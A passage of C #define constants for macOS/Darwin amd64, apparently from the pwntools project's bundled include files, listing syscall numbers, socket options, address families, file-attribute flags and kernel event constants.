#define SYS_kqueue_workloop_ctl 530 #define SYS___mach_bridge_remote_time 531 #define SYS_coalition_ledger 532 #define SYS_log_data 533 #define SYS_memorystatus_available_memory 534 #define SYS_objc_bp_assist_cfg_np 535 #define SYS_shared_region_map_and_slide_2_np 536 #define SYS_pivot_root 537 #define SYS_task_inspect_for_pid 538 #define SYS_task_read_for_pid 539 #define SYS_preadv 540 #define SYS_pwritev 541 #define SYS_preadv_nocancel 542 #define SYS_pwritev_nocancel 543 #define SYS_ulock_wait2 544 #define SYS_proc_info_extended_id 545 #define SYS_tracker_action 546 #define SYS_debug_syscall_reject 547 #define SYS_debug_syscall_reject_config 548 #define SYS_graftdmg 549 #define SYS_map_with_linking_np 550 #define SYS_freadlink 551 #define SYS_record_system_event 552 #define SYS_mkfifoat 553 #define SYS_mknodat 554 #define SYS_ungraftdmg 555 #define SYS_coalition_policy_set 556 #define SYS_coalition_policy_get 557 #define SYS_MAXSYSCALL 558 #define SYS_invalid 63 #define SOCK_STREAM 1 #define SOCK_DGRAM 2 #define SOCK_RAW 3 #define SOCK_RDM 4 #define SOCK_SEQPACKET 5 #define SO_DEBUG 0x0001 #define SO_ACCEPTCONN 0x0002 #define SO_REUSEADDR 0x0004 #define SO_KEEPALIVE 0x0008 #define SO_DONTROUTE 0x0010 #define SO_BROADCAST 0x0020 #define SO_USELOOPBACK 0x0040 #define SO_LINGER 0x1080 #define SO_LINGER_SEC 0x1080 #define SO_OOBINLINE 0x0100 #define SO_REUSEPORT 0x0200 #define SO_TIMESTAMP 0x0400 #define SO_TIMESTAMP_MONOTONIC 0x0800 #define SO_ACCEPTFILTER 0x1000 #define SO_DONTTRUNC 0x2000 #define SO_WANTMORE 0x4000 #define SO_WANTOOBFLAG 0x8000 #define SO_SNDBUF 0x1001 #define SO_RCVBUF 0x1002 #define SO_SNDLOWAT 0x1003 #define SO_RCVLOWAT 0x1004 #define SO_SNDTIMEO 0x1005 #define SO_RCVTIMEO 0x1006 #define SO_ERROR 0x1007 #define SO_TYPE 0x1008 #define SO_LABEL 0x1010 #define SO_PEERLABEL 0x1011 #define SO_NREAD 0x1020 #define SO_NKE 0x1021 #define SO_NOSIGPIPE 0x1022 #define SO_NOADDRERR 0x1023 #define SO_NWRITE 0x1024 #define SO_REUSESHAREUID 0x1025 #define SO_NOTIFYCONFLICT 0x1026 #define SO_UPCALLCLOSEWAIT 0x1027 #define SO_RANDOMPORT 0x1082 #define SO_NP_EXTENSIONS 0x1083 #define SO_NUMRCVPKT 0x1112 #define SO_NET_SERVICE_TYPE 0x1116 #define SO_NETSVC_MARKING_LEVEL 0x1119 #define SO_RESOLVER_SIGNATURE 0x1131 #define SO_BINDTODEVICE 0x1134 #define NET_SERVICE_TYPE_BE 0 #define NET_SERVICE_TYPE_BK 1 #define NET_SERVICE_TYPE_SIG 2 #define NET_SERVICE_TYPE_VI 3 #define NET_SERVICE_TYPE_VO 4 #define NET_SERVICE_TYPE_RV 5 #define NET_SERVICE_TYPE_AV 6 #define NET_SERVICE_TYPE_OAM 7 #define NET_SERVICE_TYPE_RD 8 #define NETSVC_MRKNG_UNKNOWN 0 #define NETSVC_MRKNG_LVL_L2 1 #define NETSVC_MRKNG_LVL_L3L2_ALL 2 #define NETSVC_MRKNG_LVL_L3L2_BK 3 #define SAE_ASSOCID_ANY 0 #define SAE_CONNID_ANY 0 #define CONNECT_RESUME_ON_READ_WRITE 0x1 #define CONNECT_DATA_IDEMPOTENT 0x2 #define CONNECT_DATA_AUTHENTICATED 0x4 #define SONPX_SETOPTSHUT 0x000000001 #define SOL_SOCKET 0xffff #define AF_UNSPEC 0 #define AF_UNIX 1 #define AF_INET 2 #define AF_IMPLINK 3 #define AF_PUP 4 #define AF_CHAOS 5 #define AF_NS 6 #define AF_ISO 7 #define AF_ECMA 8 #define AF_DATAKIT 9 #define AF_CCITT 10 #define AF_SNA 11 #define AF_DECnet 12 #define AF_DLI 13 #define AF_LAT 14 #define AF_HYLINK 15 #define AF_APPLETALK 16 #define AF_ROUTE 17 #define AF_LINK 18 #define pseudo_AF_XTP 19 #define AF_COIP 20 #define AF_CNT 21 #define pseudo_AF_RTIP 22 #define AF_IPX 23 #define AF_SIP 24 #define pseudo_AF_PIP 25 #define AF_NDRV 27 #define AF_ISDN 28 #define pseudo_AF_KEY 29 #define AF_INET6 30 #define AF_NATM 31 #define AF_SYSTEM 32 #define AF_NETBIOS 33 #define AF_PPP 34 #define pseudo_AF_HDRCMPLT 35 #define AF_RESERVED_36 36 #define AF_IEEE80211 37 #define AF_UTUN 38 #define AF_VSOCK 40 #define AF_MAX 41 #define SOCK_MAXADDRLEN 255 #define _SS_MAXSIZE 128 #define NET_RT_DUMP 1 #define NET_RT_FLAGS 2 #define NET_RT_IFLIST 3 #define NET_RT_STAT 4 #define NET_RT_TRASH 5 #define NET_RT_IFLIST2 6 #define NET_RT_DUMP2 7 #define NET_RT_FLAGS_PRIV 10 #define NET_RT_MAXID 11 #define SOMAXCONN 128 #define MSG_OOB 0x1 #define MSG_PEEK 0x2 #define MSG_DONTROUTE 0x4 #define MSG_EOR 0x8 #define MSG_TRUNC 0x10 #define MSG_CTRUNC 0x20 #define MSG_WAITALL 0x40 #define MSG_DONTWAIT 0x80 #define MSG_EOF 0x100 #define MSG_WAITSTREAM 0x200 #define MSG_FLUSH 0x400 #define MSG_HOLD 0x800 #define MSG_SEND 0x1000 #define MSG_HAVEMORE 0x2000 #define MSG_RCVMORE 0x4000 #define MSG_NEEDSA 0x10000 #define MSG_NOSIGNAL 0x80000 #define MSG_USEUPCALL 0x80000000 #define CMGROUP_MAX 16 #define SCM_RIGHTS 0x01 #define SCM_TIMESTAMP 0x02 #define SCM_CREDS 0x03 #define SCM_TIMESTAMP_MONOTONIC 0x04 #define SHUT_RD 0 #define SHUT_WR 1 #define SHUT_RDWR 2 #define SBUF_FIXEDLEN 0x00000000 #define SBUF_AUTOEXTEND 0x00000001 #define SBUF_USRFLAGMSK 0x0000ffff #define SBUF_DYNAMIC 0x00010000 #define SBUF_FINISHED 0x00020000 #define SBUF_OVERFLOWED 0x00040000 #define SBUF_DYNSTRUCT 0x00080000 #define SYSPROTO_EVENT 1 #define SYSPROTO_CONTROL 2 #define AF_SYS_CONTROL 2 #define SO_TRACKER_ATTRIBUTE_FLAGS_APP_APPROVED 0x00000001 #define SO_TRACKER_ATTRIBUTE_FLAGS_TRACKER 0x00000002 #define SO_TRACKER_ATTRIBUTE_FLAGS_DOMAIN_SHORT 0x00000004 #define NS_GETRAWENCRYPTED 0x00000001 Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/darwin/amd64.h000066400000000000000000003114731507273764500245750ustar00rootroot00000000000000#define ITIMER_REAL 0 #define ITIMER_VIRTUAL 1 #define ITIMER_PROF 2 #define DST_NONE 0 #define DST_USA 1 #define DST_AUST 2 #define DST_WET 3 #define DST_MET 4 #define DST_EET 5 #define DST_CAN 6 #define CHILD_MAX 266 #define LINK_MAX 32767 #define MAX_CANON 1024 #define MAX_INPUT 1024 #define NAME_MAX 255 #define NGROUPS_MAX 16 #define OPEN_MAX 10240 #define PATH_MAX 1024 #define PIPE_BUF 512 #define BC_BASE_MAX 99 #define BC_DIM_MAX 2048 #define BC_SCALE_MAX 99 #define BC_STRING_MAX 1000 #define CHARCLASS_NAME_MAX 14 #define COLL_WEIGHTS_MAX 2 #define EQUIV_CLASS_MAX 2 #define EXPR_NEST_MAX 32 #define LINE_MAX 2048 #define RE_DUP_MAX 255 #define NZERO 0 #define GETNCNT 3 #define GETPID 4 #define GETVAL 5 #define GETALL 6 #define GETZCNT 7 #define SETVAL 8 #define SETALL 9 #define SEM_UNDO 0010000 #define SEM_A 00200 #define SEM_R 00400 #define PSEMNAMLEN 31 #define PSEM_NONE 1 #define PSEM_DEFINED 2 #define PSEM_ALLOCATED 4 #define PSEM_MAPPED 8 #define PSEM_INUSE 0x10 #define PSEM_REMOVED 0x20 #define PSEM_INCREATE 0x40 #define PSEM_INDELETE 0x80 #define FSOPT_NOFOLLOW 0x00000001 #define FSOPT_NOINMEMUPDATE 0x00000002 #define FSOPT_REPORT_FULLSIZE 0x00000004 #define FSOPT_PACK_INVAL_ATTRS 0x00000008 #define FSOPT_ATTR_CMN_EXTENDED 0x00000020 #define FSOPT_RETURN_REALDEV 0x00000200 #define FSOPT_NOFOLLOW_ANY 0x00000800 #define SEARCHFS_MAX_SEARCHPARMS 4096 #define ATTR_BIT_MAP_COUNT 5 #define VOL_CAPABILITIES_FORMAT 0 #define VOL_CAPABILITIES_INTERFACES 1 #define VOL_CAPABILITIES_RESERVED1 2 #define VOL_CAPABILITIES_RESERVED2 3 #define ATTR_MAX_BUFFER 8192 #define VOL_CAP_FMT_PERSISTENTOBJECTIDS 0x00000001 #define VOL_CAP_FMT_SYMBOLICLINKS 0x00000002 #define VOL_CAP_FMT_HARDLINKS 0x00000004 #define VOL_CAP_FMT_JOURNAL 0x00000008 #define VOL_CAP_FMT_JOURNAL_ACTIVE 0x00000010 #define VOL_CAP_FMT_NO_ROOT_TIMES 0x00000020 #define VOL_CAP_FMT_SPARSE_FILES 0x00000040 #define VOL_CAP_FMT_ZERO_RUNS 0x00000080 #define VOL_CAP_FMT_CASE_SENSITIVE 0x00000100 #define VOL_CAP_FMT_CASE_PRESERVING 0x00000200 #define VOL_CAP_FMT_FAST_STATFS 0x00000400 #define VOL_CAP_FMT_2TB_FILESIZE 0x00000800 #define VOL_CAP_FMT_OPENDENYMODES 0x00001000 #define VOL_CAP_FMT_HIDDEN_FILES 0x00002000 #define VOL_CAP_FMT_PATH_FROM_ID 0x00004000 #define VOL_CAP_FMT_NO_VOLUME_SIZES 0x00008000 #define VOL_CAP_FMT_DECMPFS_COMPRESSION 0x00010000 #define VOL_CAP_FMT_64BIT_OBJECT_IDS 0x00020000 #define VOL_CAP_FMT_DIR_HARDLINKS 0x00040000 #define VOL_CAP_FMT_DOCUMENT_ID 0x00080000 #define VOL_CAP_FMT_WRITE_GENERATION_COUNT 0x00100000 #define VOL_CAP_FMT_NO_IMMUTABLE_FILES 0x00200000 #define VOL_CAP_FMT_NO_PERMISSIONS 0x00400000 #define VOL_CAP_FMT_SHARED_SPACE 0x00800000 #define VOL_CAP_FMT_VOL_GROUPS 0x01000000 #define VOL_CAP_FMT_SEALED 0x02000000 #define VOL_CAP_FMT_CLONE_MAPPING 0x04000000 #define VOL_CAP_INT_SEARCHFS 0x00000001 #define VOL_CAP_INT_ATTRLIST 0x00000002 #define VOL_CAP_INT_NFSEXPORT 0x00000004 #define VOL_CAP_INT_READDIRATTR 0x00000008 #define VOL_CAP_INT_EXCHANGEDATA 0x00000010 #define VOL_CAP_INT_COPYFILE 0x00000020 #define VOL_CAP_INT_ALLOCATE 0x00000040 #define VOL_CAP_INT_VOL_RENAME 0x00000080 #define VOL_CAP_INT_ADVLOCK 0x00000100 #define VOL_CAP_INT_FLOCK 0x00000200 #define VOL_CAP_INT_EXTENDED_SECURITY 0x00000400 #define VOL_CAP_INT_USERACCESS 0x00000800 #define VOL_CAP_INT_MANLOCK 0x00001000 #define VOL_CAP_INT_NAMEDSTREAMS 0x00002000 #define VOL_CAP_INT_EXTENDED_ATTR 0x00004000 #define VOL_CAP_INT_CLONE 0x00010000 #define VOL_CAP_INT_SNAPSHOT 0x00020000 #define VOL_CAP_INT_RENAME_SWAP 0x00040000 #define VOL_CAP_INT_RENAME_EXCL 0x00080000 #define VOL_CAP_INT_RENAME_OPENFAIL 0x00100000 #define VOL_CAP_INT_RENAME_SECLUDE 0x00200000 #define VOL_CAP_INT_ATTRIBUTION_TAG 0x00400000 #define VOL_CAP_INT_PUNCHHOLE 0x00800000 #define ATTR_CMN_NAME 0x00000001 #define ATTR_CMN_DEVID 0x00000002 #define ATTR_CMN_FSID 0x00000004 #define ATTR_CMN_OBJTYPE 0x00000008 #define ATTR_CMN_OBJTAG 0x00000010 #define ATTR_CMN_OBJID 0x00000020 #define ATTR_CMN_OBJPERMANENTID 0x00000040 #define ATTR_CMN_PAROBJID 0x00000080 #define ATTR_CMN_SCRIPT 0x00000100 #define ATTR_CMN_CRTIME 0x00000200 #define ATTR_CMN_MODTIME 0x00000400 #define ATTR_CMN_CHGTIME 0x00000800 #define ATTR_CMN_ACCTIME 0x00001000 #define ATTR_CMN_BKUPTIME 0x00002000 #define ATTR_CMN_FNDRINFO 0x00004000 #define ATTR_CMN_OWNERID 0x00008000 #define ATTR_CMN_GRPID 0x00010000 #define ATTR_CMN_ACCESSMASK 0x00020000 #define ATTR_CMN_FLAGS 0x00040000 #define ATTR_CMN_GEN_COUNT 0x00080000 #define ATTR_CMN_DOCUMENT_ID 0x00100000 #define ATTR_CMN_USERACCESS 0x00200000 #define ATTR_CMN_EXTENDED_SECURITY 0x00400000 #define ATTR_CMN_UUID 0x00800000 #define ATTR_CMN_GRPUUID 0x01000000 #define ATTR_CMN_FILEID 0x02000000 #define ATTR_CMN_PARENTID 0x04000000 #define ATTR_CMN_FULLPATH 0x08000000 #define ATTR_CMN_ADDEDTIME 0x10000000 #define ATTR_CMN_ERROR 0x20000000 #define ATTR_CMN_DATA_PROTECT_FLAGS 0x40000000 #define ATTR_CMN_RETURNED_ATTRS 0x80000000 #define ATTR_CMN_VALIDMASK 0xFFFFFFFF #define ATTR_CMN_SETMASK 0x51C7FF00 #define ATTR_CMN_VOLSETMASK 0x00006700 #define ATTR_VOL_FSTYPE 0x00000001 #define ATTR_VOL_SIGNATURE 0x00000002 #define ATTR_VOL_SIZE 0x00000004 #define ATTR_VOL_SPACEFREE 0x00000008 #define ATTR_VOL_SPACEAVAIL 0x00000010 #define ATTR_VOL_MINALLOCATION 0x00000020 #define ATTR_VOL_ALLOCATIONCLUMP 0x00000040 #define ATTR_VOL_IOBLOCKSIZE 0x00000080 #define ATTR_VOL_OBJCOUNT 0x00000100 #define ATTR_VOL_FILECOUNT 0x00000200 #define ATTR_VOL_DIRCOUNT 0x00000400 #define ATTR_VOL_MAXOBJCOUNT 0x00000800 #define ATTR_VOL_MOUNTPOINT 0x00001000 #define ATTR_VOL_NAME 0x00002000 #define ATTR_VOL_MOUNTFLAGS 0x00004000 #define ATTR_VOL_MOUNTEDDEVICE 0x00008000 #define ATTR_VOL_ENCODINGSUSED 0x00010000 #define ATTR_VOL_CAPABILITIES 0x00020000 #define ATTR_VOL_UUID 0x00040000 #define ATTR_VOL_FSTYPENAME 0x00100000 #define ATTR_VOL_FSSUBTYPE 0x00200000 #define ATTR_VOL_SPACEUSED 0x00800000 #define ATTR_VOL_QUOTA_SIZE 0x10000000 #define ATTR_VOL_RESERVED_SIZE 0x20000000 #define ATTR_VOL_ATTRIBUTES 0x40000000 #define ATTR_VOL_INFO 0x80000000 #define ATTR_VOL_VALIDMASK 0xF0B7FFFF #define ATTR_VOL_SETMASK 0x80002000 #define ATTR_DIR_LINKCOUNT 0x00000001 #define ATTR_DIR_ENTRYCOUNT 0x00000002 #define ATTR_DIR_MOUNTSTATUS 0x00000004 #define ATTR_DIR_ALLOCSIZE 0x00000008 #define ATTR_DIR_IOBLOCKSIZE 0x00000010 #define ATTR_DIR_DATALENGTH 0x00000020 #define DIR_MNTSTATUS_MNTPOINT 0x00000001 #define DIR_MNTSTATUS_TRIGGER 0x00000002 #define ATTR_DIR_VALIDMASK 0x0000003f #define ATTR_DIR_SETMASK 0x00000000 #define ATTR_FILE_LINKCOUNT 0x00000001 #define ATTR_FILE_TOTALSIZE 0x00000002 #define ATTR_FILE_ALLOCSIZE 0x00000004 #define ATTR_FILE_IOBLOCKSIZE 0x00000008 #define ATTR_FILE_DEVTYPE 0x00000020 #define ATTR_FILE_FORKCOUNT 0x00000080 #define ATTR_FILE_FORKLIST 0x00000100 #define ATTR_FILE_DATALENGTH 0x00000200 #define ATTR_FILE_DATAALLOCSIZE 0x00000400 #define ATTR_FILE_RSRCLENGTH 0x00001000 #define ATTR_FILE_RSRCALLOCSIZE 0x00002000 #define ATTR_FILE_VALIDMASK 0x000037FF #define ATTR_FILE_SETMASK 0x00000020 #define ATTR_CMNEXT_RELPATH 0x00000004 #define ATTR_CMNEXT_PRIVATESIZE 0x00000008 #define ATTR_CMNEXT_LINKID 0x00000010 #define ATTR_CMNEXT_NOFIRMLINKPATH 0x00000020 #define ATTR_CMNEXT_REALDEVID 0x00000040 #define ATTR_CMNEXT_REALFSID 0x00000080 #define ATTR_CMNEXT_CLONEID 0x00000100 #define ATTR_CMNEXT_EXT_FLAGS 0x00000200 #define ATTR_CMNEXT_RECURSIVE_GENCOUNT 0x00000400 #define ATTR_CMNEXT_ATTRIBUTION_TAG 0x00000800 #define ATTR_CMNEXT_CLONE_REFCNT 0x00001000 #define ATTR_CMNEXT_VALIDMASK 0x00001ffc #define ATTR_CMNEXT_SETMASK 0x00000000 #define ATTR_FORK_TOTALSIZE 0x00000001 #define ATTR_FORK_ALLOCSIZE 0x00000002 #define ATTR_FORK_RESERVED 0xffffffff #define ATTR_FORK_VALIDMASK 0x00000003 #define ATTR_FORK_SETMASK 0x00000000 #define ATTR_CMN_NAMEDATTRCOUNT 0x00080000 #define ATTR_CMN_NAMEDATTRLIST 0x00100000 #define ATTR_FILE_CLUMPSIZE 0x00000010 #define ATTR_FILE_FILETYPE 0x00000040 #define ATTR_FILE_DATAEXTENTS 0x00000800 #define ATTR_FILE_RSRCEXTENTS 0x00004000 #define SRCHFS_START 0x00000001 #define SRCHFS_MATCHPARTIALNAMES 0x00000002 #define SRCHFS_MATCHDIRS 0x00000004 #define SRCHFS_MATCHFILES 0x00000008 #define SRCHFS_SKIPLINKS 0x00000010 #define SRCHFS_SKIPINVISIBLE 0x00000020 #define SRCHFS_SKIPPACKAGES 0x00000040 #define SRCHFS_SKIPINAPPROPRIATE 0x00000080 #define SRCHFS_NEGATEPARAMS 0x80000000 #define SRCHFS_VALIDOPTIONSMASK 0x800000FF #define KEV_ANY_VENDOR 0 #define KEV_ANY_CLASS 0 #define KEV_ANY_SUBCLASS 0 #define KEV_VENDOR_APPLE 1 #define KEV_NETWORK_CLASS 1 #define KEV_IOKIT_CLASS 2 #define KEV_SYSTEM_CLASS 3 #define KEV_APPLESHARE_CLASS 4 #define KEV_FIREWALL_CLASS 5 #define KEV_IEEE80211_CLASS 6 #define KEV_NKE_CLASS 7 #define KEV_NKE_ALF_SUBCLASS 1 #define KEV_NKE_ALF_STATE_CHANGED 1 #define XNU_KERN_EVENT_DATA_SIZE 1 #define KEV_VENDOR_CODE_MAX_STR_LEN 200 #define N_KEV_VECTORS 5 #define M_WAITOK 0x0000 #define M_NOWAIT 0x0001 #define M_ZERO 0x0004 #define M_NULL 0x0008 #define M_PCB 4 #define M_RTABLE 5 #define M_IFADDR 9 #define M_SONAME 11 #define M_LOCKF 40 #define M_TEMP 80 #define M_UDFNODE 84 #define M_UDFMNT 85 #define M_KAUTH 100 #define HAVE_VT_LOCKERFS 1 #define VNODE_READ 0x01 #define VNODE_WRITE 0x02 #define VNODE_BLOCKMAP_NO_TRACK 0x04 #define VNODE_CLUSTER_VERIFY 0x08 #define PREALLOCATE 0x00000001 #define ALLOCATECONTIG 0x00000002 #define ALLOCATEALL 0x00000004 #define ALLOCATEPERSIST 0x00000008 #define ALLOCATEFROMPEOF 0x00000010 #define ALLOCATEFROMVOL 0x00000020 #define IO_UNIT 0x0001 #define IO_APPEND 0x0002 #define IO_SYNC 0x0004 #define IO_NODELOCKED 0x0008 #define IO_NDELAY 0x0010 #define IO_NOZEROFILL 0x0020 #define IO_TAILZEROFILL 0x0040 #define IO_HEADZEROFILL 0x0080 #define IO_NOZEROVALID 0x0100 #define IO_NOZERODIRTY 0x0200 #define IO_CLOSE 0x0400 #define IO_NOCACHE 0x0800 #define IO_RAOFF 0x1000 #define IO_DEFWRITE 0x2000 #define IO_PASSIVE 0x4000 #define IO_NOAUTH 0x8000 #define IO_NODIRECT 0x10000 #define IO_ENCRYPTED 0x20000 #define IO_RETURN_ON_THROTTLE 0x40000 #define IO_SINGLE_WRITER 0x80000 #define IO_SYSCALL_DISPATCH 0x100000 #define IO_SWAP_DISPATCH 0x200000 #define IO_SKIP_ENCRYPTION 0x400000 #define IO_EVTONLY 0x800000 #define IO_NOCACHE_SYSSPACE 0x1000000 #define IO_NOCACHE_SWRITE 0x2000000 #define LOOKUP 0 #define CREATE 1 #define DELETE 2 #define RENAME 3 #define OPMASK 3 #define FOLLOW 0x00000040 #define ISDOTDOT 0x00002000 #define MAKEENTRY 0x00004000 #define ISLASTCN 0x00008000 #define VNFS_NOCACHE 0x01 #define VNFS_CANTCACHE 0x02 #define VNFS_ADDFSREF 0x04 #define VNCREATE_FLAVOR 0 #define VA_UTIMES_NULL 0x010000 #define VA_EXCLUSIVE 0x020000 #define VA_NOINHERIT 0x040000 #define VA_NOAUTH 0x080000 #define VA_64BITOBJIDS 0x100000 #define VA_REALFSID 0x200000 #define VA_USEFSID 0x400000 #define VA_FILESEC_ACL 0x800000 #define VSUID 0x800 #define VSGID 0x400 #define VSVTX 0x200 #define VREAD 0x100 #define VWRITE 0x080 #define VEXEC 0x040 #define SKIPSYSTEM 0x0001 #define FORCECLOSE 0x0002 #define WRITECLOSE 0x0004 #define SKIPSWAP 0x0008 #define SKIPROOT 0x0010 #define DOCLOSE 0x0008 #define V_SAVE 0x0001 #define V_SAVEMETA 0x0002 #define REVOKEALL 0x0001 #define VNODE_REMOVE_NODELETEBUSY 0x0001 #define VNODE_REMOVE_SKIP_NAMESPACE_EVENT 0x0002 #define VNODE_REMOVE_NO_AUDIT_PATH 0x0004 #define VNODE_REMOVE_DATALESS_DIR 0x0008 #define VNODE_READDIR_EXTENDED 0x0001 #define VNODE_READDIR_REQSEEKOFF 0x0002 #define VNODE_READDIR_SEEKOFF32 0x0004 #define VNODE_READDIR_NAMEMAX 0x0008 #define VNODE_CLONEFILE_DEFAULT 0x0000 #define VNODE_CLONEFILE_NOOWNERCOPY 0x0001 #define VNODE_ASYNC_THROTTLE 15 #define VNODE_UPDATE_PARENT 0x01 #define VNODE_UPDATE_NAME 0x02 #define VNODE_UPDATE_CACHE 0x04 #define VNODE_UPDATE_PURGE 0x08 #define VNODE_LOOKUP_NOFOLLOW 0x01 #define VNODE_LOOKUP_NOCROSSMOUNT 0x02 #define VNODE_LOOKUP_CROSSMOUNTNOWAIT 0x04 #define VNODE_LOOKUP_NOFOLLOW_ANY 0x08 #define VNODE_RELOAD 0x01 #define VNODE_WAIT 0x02 #define VNODE_WRITEABLE 0x04 #define VNODE_WITHID 0x08 #define VNODE_NOLOCK_INTERNAL 0x10 #define VNODE_NODEAD 0x20 #define VNODE_NOSUSPEND 0x40 #define VNODE_ITERATE_ALL 0x80 #define VNODE_ITERATE_ACTIVE 0x100 #define VNODE_ITERATE_INACTIVE 0x200 #define VNODE_RETURNED 0 #define VNODE_RETURNED_DONE 1 #define VNODE_CLAIMED 2 #define VNODE_CLAIMED_DONE 3 #define IOCS_BUFFER_NUM_SIZE_BUCKETS 10 #define IOCS_BUFFER_MAX_BUCKET 9 #define IOCS_BUFFER_NUM_COMPRESSION_BUCKETS 7 #define IOCS_BLOCK_NUM_SIZE_BUCKETS 16 #define IOCS_SBE_PATH_LEN 128 #define IOCS_PATH_START_BYTES_TO_COPY 108 #define IOCS_PATH_END_BYTES_TO_COPY 20 #define IOCS_SYSCTL_LIVE 0x00000001 #define IOCS_SYSCTL_STORE_BUFFER_RD_ONLY 0x00000002 #define IOCS_SYSCTL_STORE_BUFFER_MARK 0x00000004 #define TANDEM 0x00000001 #define CBREAK 0x00000002 #define LCASE 0x00000004 #define ECHO 0x00000008 #define CRMOD 0x00000010 #define RAW 0x00000020 #define ODDP 0x00000040 #define EVENP 0x00000080 #define ANYP 0x000000c0 #define NLDELAY 0x00000300 #define TBDELAY 0x00000c00 #define XTABS 0x00000c00 #define CRDELAY 0x00003000 #define VTDELAY 0x00004000 #define BSDELAY 0x00008000 #define NL0 0x00000000 #define NL1 0x00000100 #define NL2 0x00000200 #define NL3 0x00000300 #define TAB0 0x00000000 #define TAB1 0x00000400 #define TAB2 0x00000800 #define CR0 0x00000000 #define CR1 0x00001000 #define CR2 0x00002000 #define CR3 0x00003000 #define FF0 0x00000000 #define FF1 0x00004000 #define BS0 0x00000000 #define BS1 0x00008000 #define CRTBS 0x00010000 #define PRTERA 0x00020000 #define CRTERA 0x00040000 #define TILDE 0x00080000 #define MDMBUF 0x00100000 #define LITOUT 0x00200000 #define TOSTOP 0x00400000 #define FLUSHO 0x00800000 #define NOHANG 0x01000000 #define L001000 0x02000000 #define CRTKIL 0x04000000 #define PASS8 0x08000000 #define CTLECH 0x10000000 #define PENDIN 0x20000000 #define DECCTQ 0x40000000 #define NOFLSH 0x80000000 #define OTTYDISC 0 #define NETLDISC 1 #define NTTYDISC 2 #define LOCKLEAF 0x0004 #define LOCKPARENT 0x0008 #define WANTPARENT 0x0010 #define UIO_MAXIOV 1024 #define UIO_SMALLIOV 8 #define EVFILT_SYSCOUNT 18 #define KEVENT_FLAG_NONE 0x000000 #define KEVENT_FLAG_IMMEDIATE 0x000001 #define KEVENT_FLAG_ERROR_EVENTS 0x000002 #define EV_ADD 0x0001 #define EV_DELETE 0x0002 #define EV_ENABLE 0x0004 #define EV_DISABLE 0x0008 #define EV_ONESHOT 0x0010 #define EV_CLEAR 0x0020 #define EV_RECEIPT 0x0040 #define EV_DISPATCH 0x0080 #define EV_UDATA_SPECIFIC 0x0100 #define EV_VANISHED 0x0200 #define EV_SYSFLAGS 0xF000 #define EV_FLAG0 0x1000 #define EV_FLAG1 0x2000 #define EV_EOF 0x8000 #define EV_ERROR 0x4000 #define NOTE_TRIGGER 0x01000000 #define NOTE_FFNOP 0x00000000 #define NOTE_FFAND 0x40000000 #define NOTE_FFOR 0x80000000 #define NOTE_FFCOPY 0xc0000000 #define NOTE_FFCTRLMASK 0xc0000000 #define NOTE_FFLAGSMASK 0x00ffffff #define NOTE_LOWAT 0x00000001 #define NOTE_OOB 0x00000002 #define NOTE_DELETE 0x00000001 #define NOTE_WRITE 0x00000002 #define NOTE_EXTEND 0x00000004 #define NOTE_ATTRIB 0x00000008 #define NOTE_LINK 0x00000010 #define NOTE_RENAME 0x00000020 #define NOTE_REVOKE 0x00000040 #define NOTE_NONE 0x00000080 #define NOTE_FUNLOCK 0x00000100 #define NOTE_LEASE_DOWNGRADE 0x00000200 #define NOTE_LEASE_RELEASE 0x00000400 #define NOTE_EXIT 0x80000000 #define NOTE_FORK 0x40000000 #define NOTE_EXEC 0x20000000 #define NOTE_SIGNAL 0x08000000 #define NOTE_EXITSTATUS 0x04000000 #define NOTE_EXIT_DETAIL 0x02000000 #define NOTE_PDATAMASK 0x000fffff #define NOTE_EXIT_DETAIL_MASK 0x00070000 #define NOTE_EXIT_DECRYPTFAIL 0x00010000 #define NOTE_EXIT_MEMORY 0x00020000 #define NOTE_EXIT_CSERROR 0x00040000 #define NOTE_VM_PRESSURE 0x80000000 #define NOTE_VM_PRESSURE_TERMINATE 0x40000000 #define NOTE_VM_PRESSURE_SUDDEN_TERMINATE 0x20000000 #define NOTE_VM_ERROR 0x10000000 #define NOTE_SECONDS 0x00000001 #define NOTE_USECONDS 0x00000002 #define NOTE_NSECONDS 0x00000004 #define NOTE_ABSOLUTE 0x00000008 #define NOTE_LEEWAY 0x00000010 #define NOTE_CRITICAL 0x00000020 #define NOTE_BACKGROUND 0x00000040 #define NOTE_MACH_CONTINUOUS_TIME 0x00000080 #define NOTE_MACHTIME 0x00000100 #define NOTE_TRACK 0x00000001 #define NOTE_TRACKERR 0x00000002 #define NOTE_CHILD 0x00000004 #define VMADDR_CID_HYPERVISOR 0 #define VMADDR_CID_RESERVED 1 #define VMADDR_CID_HOST 2 #define IMG_SHSIZE 512 #define IMGPF_NONE 0x00000000 #define IMGPF_INTERPRET 0x00000001 #define IMGPF_RESERVED 0x00000002 #define IMGPF_WAS_64BIT_ADDR 0x00000004 #define IMGPF_IS_64BIT_ADDR 0x00000008 #define IMGPF_SPAWN 0x00000010 #define IMGPF_DISABLE_ASLR 0x00000020 #define IMGPF_ALLOW_DATA_EXEC 0x00000040 #define IMGPF_3P_PLUGINS 0x00000080 #define IMGPF_EXEC 0x00000100 #define IMGPF_HIGH_BITS_ASLR 0x00000200 #define IMGPF_IS_64BIT_DATA 0x00000400 #define IMGPF_DRIVER 0x00000800 #define IMGPF_RESLIDE 0x00001000 #define IMGPF_PLUGIN_HOST_DISABLE_A_KEYS 0x00002000 #define IMGPF_HW_TPRO 0x00004000 #define IMGPF_ROSETTA 0x10000000 #define IMGPF_ALT_ROSETTA 0x20000000 #define IMGPF_RESERVED_2 0x40000000 #define IMGPF_NOJOP 0x80000000 #define IMGPF_SB_DEFAULT 0 #define IMGPF_SB_TRUE 1 #define IMGPF_SB_FALSE 2 #define _POSIX_THREAD_KEYS_MAX 128 #define F_OK 0 #define ACCESSX_MAX_DESCRIPTORS 100 #define _PC_LINK_MAX 1 #define _PC_MAX_CANON 2 #define _PC_MAX_INPUT 3 #define _PC_NAME_MAX 4 #define _PC_PATH_MAX 5 #define _PC_PIPE_BUF 6 #define _PC_CHOWN_RESTRICTED 7 #define _PC_NO_TRUNC 8 #define _PC_VDISABLE 9 #define _PC_NAME_CHARS_MAX 10 #define _PC_CASE_SENSITIVE 11 #define _PC_CASE_PRESERVING 12 #define _PC_EXTENDED_SECURITY_NP 13 #define _PC_AUTH_OPAQUE_NP 14 #define _PC_2_SYMLINKS 15 #define _PC_ALLOC_SIZE_MIN 16 #define _PC_ASYNC_IO 17 #define _PC_FILESIZEBITS 18 #define _PC_PRIO_IO 19 #define _PC_REC_INCR_XFER_SIZE 20 #define _PC_REC_MAX_XFER_SIZE 21 